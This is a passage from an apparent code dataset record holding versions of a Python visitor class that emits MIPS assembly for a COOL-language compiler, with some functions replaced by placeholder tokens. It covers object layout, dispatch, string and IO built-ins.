12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if 